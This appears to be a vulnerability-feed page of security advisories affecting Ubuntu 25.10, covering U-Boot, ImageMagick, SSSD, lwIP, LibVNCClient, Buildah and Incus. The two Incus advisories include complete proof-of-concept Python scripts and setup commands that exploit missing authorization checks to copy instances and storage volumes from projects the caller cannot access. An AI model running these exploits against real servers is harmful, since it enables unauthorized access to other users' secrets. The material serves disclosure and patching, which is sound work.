Threats Tagged 'ubuntu-25-10'

Buffer Overflow vulnerability in the net/bootp.c in DENEX U-Boot from its initial commit in 2002 (3861aa5) up to today on any platform allows an attacker on the local network to leak memory from four up to 32 bytes of memory stored behind the packet to the network depending on the later use of DHCP-provided parameters via crafted DHCP responses.

A lack of signature verification in the bootloader of DENX Software Engineering Das U-Boot (U-Boot) v1.1.3 allows attackers to install crafted firmware files, leading to arbitrary code execution.

ImageMagick before 7.1.2-19 contains an out-of-bounds access vulnerability in ConnectedComponentsImage() when processing connected-components artifacts with invalid indices. Attackers can trigger access violations by specifying malformed connected-components definitions via CLI, causing denial of service or potential code execution.

A flaw was found in sssd. When authenticating with a YubiKey, the SSSD PAM responder can crash due to a use-after-free vulnerability, where a memory pointer is incorrectly handled. A local attacker could exploit this flaw by manipulating smartcard or YubiKey contents, leading to a denial of service that disrupts authentication. This vulnerability also presents a potential for privilege escalation, although it is difficult to exploit.

A path traversal flaw was found in SSSD's AD GPO provider. The ad_gpo_extract_smb_components() function does not sanitize .. sequences in the gPCFileSysPath LDAP attribute, allowing an attacker with AD GPO management access to write files outside the GPO cache directory as root. On default RHEL configurations with SELinux enforcing, this can be used to inject Kerberos configuration leading to authentication bypass.

A vulnerability was found in lwIP up to 2.2.1. Affected is the function snmp_parse_inbound_frame of the file src/apps/snmp/snmp_msg.c of the component snmpv3 USM Handler. Performing a manipulation of the argument msgAuthenticationParameters results in stack-based buffer overflow. The attack may be initiated remotely. The patch is named 0c957ec03054eb6c8205e9c9d1d05d90ada3898c. It is suggested to install a patch to address this issue.

LibVNCClient is a library for easy implementation of a VNC client. In versions 0.9.12 through 0.9.15, a malicious (or man-in-the-middle) VNC server can force a connecting `libvncclient` to write attacker-controlled data past the end of its framebuffer. This is an out-of-bounds heap write with attacker-controlled length, contents, and offset. It needs no authentication (the attacker is the server), works in a default build with default settings, and fires from a single `FramebufferUpdate` the moment the victim connects. It crashes any client unconditionally (denial of service); we also demonstrated it overwriting an application callback pointer and redirecting execution to attacker-chosen code (code execution) under the default configuration. Commit 540332be3e0acc566fa64da6f1b4680c72c724dd patches the issue.

Buildah is a tool that facilitates building OCI images. From 1.38.1 until 1.43.2 and 1.44.0, TempDirForURL in define/types.go does not securely confine Git repository subdirectories to the downloaded build context, and downloadToDirectory and stdinToDirectory can follow a Dockerfile symlink left by a partially extracted tar archive. A malicious server supplying a Git repository or tar archive can cause files outside the build context directory to be included in the context or copied into the build. This issue is fixed in versions 1.43.2 and 1.44.0.

### Summary Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access. ### Details `cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance. The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server. ### PoC #### Setup Assumes the target server is remotely accessible and a user/certificate has been added. ``` # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets init images:debian/trixie secret # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus ls remote: ``` #### Exploitation The below script was partly generated. To copy the `secret` instance to the `default` project, the following command can be used. ``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-instance secret --name copy-secret --insecure ``` Wait a bit for the instance to be copied, then `incus ls remote:` to see the copied instance. ``` #!/usr/bin/env python3 """Copy an instance from a project the caller should not be able to read.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-instance", required=True) ap.add_argument("--name", required=True, help="new instance name in target project") ap.add_argument("--instance-only", action="store_true") ap.add_argument("--start", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() body = { "name": args.name, "source": { "type": "copy", "source": args.source_instance, "project": args.source_project, "instance_only": args.instance_only, }, "start": args.start, } path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project}) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ### Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

### Summary Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. ### Details The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed. The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server. ### PoC #### Setup Assume the target server is remotely accessible and a user/certificate has been added. ``` # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus --project secrets storage volume ls remote:default ``` #### Exploitation The below script was partly generated. To copy the secret instance to the default project, the following command can be used. ``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure ``` Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance. ``` #!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--pool", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-volume", required=True) ap.add_argument("--source-pool") ap.add_argument("--name", required=True, help="new volume name in target project") ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.add_argument("--volume-only", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() source = { "type": "copy", "name": args.source_volume, "project": args.source_project, "volume_only": args.volume_only, } if args.source_pool: source["pool"] = args.source_pool body = { "name": args.name, "type": "custom", "content_type": args.content_type, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.target_project}), ) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ### Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.